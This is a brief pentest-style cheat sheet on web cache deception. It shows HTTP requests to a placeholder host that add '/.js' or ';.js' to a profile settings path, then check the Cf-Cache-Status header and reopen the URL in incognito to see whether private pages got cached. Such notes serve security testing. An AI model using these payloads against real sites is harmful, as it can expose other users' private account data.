Web Cache Deception

How to exploit

• Normal Request (For example in the settings profile feature)

GET /profile/setting HTTP/1.1
Host: www.vuln.com

The response is

HTTP/2 200 OK 
Content-Type: text/html
Cf-Cache-Status: HIT 
...

1. Try to add cacheable extension (For example .js / .css / .jpg, etc.)

GET /profile/setting/.js HTTP/1.1
Host: www.vuln.com

The response is

HTTP/2 200 OK 
Content-Type: text/html
Cf-Cache-Status: HIT 
...

If the Cf-Cache-Status response the request with HIT not MISS or Error. And then try to open the url in incognito mode

1. Add ; before the extension (For example ;.js / ;.css / ;.jpg, etc.)

GET /profile/setting/;.js HTTP/1.1
Host: www.vuln.com

The response is

HTTP/2 200 OK 
Content-Type: text/html
Cf-Cache-Status: HIT 
...

If the Cf-Cache-Status response the request with HIT not MISS or Error. And then try to open the url in incognito mode